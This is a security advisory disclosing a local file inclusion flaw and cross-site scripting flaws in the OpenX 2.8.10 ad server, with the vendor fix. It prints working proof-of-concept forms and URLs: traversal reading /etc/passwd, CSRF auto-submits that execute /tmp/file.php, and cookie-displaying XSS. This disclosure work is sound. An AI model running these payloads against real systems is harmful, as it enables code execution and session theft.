看板 Bugtraq 關於我們 聯絡資訊
Advisory ID: HTB23155 Product: OpenX Vendor: OpenX Vulnerable Version(s): 2.8.10 and probably prior Tested Version: 2.8.10 Vendor Notification: May 8, 2013=20 Vendor Patch: June 28, 2013=20 Public Disclosure: July 3, 2013=20 Vulnerability Type: PHP File Inclusion [CWE-98], Cross-Site Scripting [CWE-= 79] CVE References: CVE-2013-3514, CVE-2013-3515 Risk Level: High=20 CVSSv2 Base Scores: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 2.6 (AV:N/AC:H/Au:N/C= :N/I:P/A:N) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w= ww.htbridge.com/advisory/ )=20 ---------------------------------------------------------------------------= -------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities = in OpenX, which can be exploited to execute arbitrary PHP code, perform Cro= ss-Site Scripting (XSS) attacks and compromise vulnerable system.=20 1) Local File Inclusion in OpenX: CVE-2013-3514 Input passed via "group" HTTP GET parameter to "/www/admin/plugin-preferenc= es.php" and "/www/admin/plugin-settings.php" scripts is not properly verifi= ed before being used in PHP 'include()' function and can be exploited to in= clude arbitrary local files via directory traversal sequences and URL-encod= ed NULL byte techniques: The following PoC (Proof-of-Concept) code display contents of "/etc/passwd"= file on vulnerable system using vulnerability in the first script: <form action=3D"http://[host]/www/admin/plugin-preferences.php?group=3D../= =2E./../../../etc/passwd%00" method=3D"post" name=3D"main"> <input type=3D"hidden" name=3D"submitok" value=3D"true"> <input type=3D"submit" id=3D"btn"> </form> The second PoC code displays content of "/etc/passwd" file on vulnerable sy= stem using vulnerability in the second script: <form action=3D"http://[host]/www/admin/plugin-settings.php?group=3D../../= =2E./../../etc/passwd%00" method=3D"post" name=3D"main"> <input type=3D"hidden" name=3D"submitok" value=3D"true"> <input type=3D"submit" id=3D"btn"> </form> Successful exploitation of these vulnerabilities requires administrative pr= ivileges, however they can also be exploited by a remote non-authenticated = attacker via CSRF vector, since the application is prone to Cross-Site Requ= est Forgery (CSRF) attacks. In order to do so an attacker should trick logg= ed-in OpenX administrator to open a specially crafted web page with CSRF ex= ploit code. Simple CSRF exploit below for the first vulnerability includes and executes= "/tmp/file.php" script: <form action=3D"http://[host]/www/admin/plugin-preferences.php?group=3D../= =2E./../../../tmp/file.php%00" method=3D"post" name=3D"main"> <input type=3D"hidden" name=3D"submitok" value=3D"true"> <input type=3D"submit" id=3D"btn"> </form> <script> document.main.submit(); </script> Simple CSRF exploit below for the second vulnerability includes and execute= s "/tmp/file.php" script: <form action=3D"http://[host]/www/admin/plugin-settings.php?group=3D../../= =2E./../../tmp/file.php%00" method=3D"post" name=3D"main"> <input type=3D"hidden" name=3D"submitok" value=3D"true"> <input type=3D"submit" id=3D"btn"> </form> <script> document.main.submit(); </script> 2) Cross-Site Scripting (XSS) in OpenX: CVE-2013-3515 2.1 The vulnerability exists due to insufficient filtration of user-supplie= d data in "package" HTTP GET parameter passed to "/www/admin/plugin-index= =2Ephp" script. A remote attacker can trick a logged-in administrator to op= en a specially crafted link and execute arbitrary HTML and script code in h= is browser in context of the vulnerable website. The exploitation example below uses the "alert()" JavaScript function to di= splay administrator's cookies: http://[host]/www/admin/plugin-index.php?action=3Ddisable&package=3D%3Cscri= pt%3Ealert%28document.cookie%29;%3C/script%3E 2.2 The vulnerability exists due to insufficient filtration of user-supplie= d data in "group" HTTP GET parameter passed to "/www/admin/plugin-settings= =2Ephp" script. A remote attacker can trick a logged-in administrator to op= en a specially crafted link and execute arbitrary HTML and script code in h= is browser in context of the vulnerable website. The exploitation example below uses the "alert()" JavaScript function to di= splay administrator's cookies: http://[host]/www/admin/plugin-settings.php?group=3D%3Cscript%3Ealert%28doc= ument.cookie%29;%3C/script%3E ---------------------------------------------------------------------------= -------------------- Solution: Fixed by Vendor in SVN repository, revision 82710. Replace the following files: [CWE-98] https://svn.openx.org/openx/trunk/www/admin/plugin-preferences.php [CWE-79] https://svn.openx.org/openx/trunk/www/admin/plugin-index.php [CWE-79] https://svn.openx.org/openx/trunk/www/admin/plugin-settings.php A diff file is available here: https://www.htbridge.com/advisory/HTB23155-openx-changeset-82710.diff ---------------------------------------------------------------------------= -------------------- References: [1] High-Tech Bridge Advisory HTB23155 - https://www.htbridge.com/advisory/= HTB23155 - Multiple Vulnerabilities in OpenX. [2] OpenX - http://www.openx.com - OpenX is an open source ad serving plat= form for publishers. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in= ternational in scope and free for public use, CVE=C2=AE is a dictionary of = publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to = developers and security practitioners, CWE is a formal list of software wea= kness types.=20 ---------------------------------------------------------------------------= -------------------- Disclaimer: The information provided in this Advisory is provided "as is" a= nd without any warranty of any kind. Details of this Advisory may be update= d in order to provide as accurate information as possible. The latest versi= on of the Advisory is available on web page [1] in the References.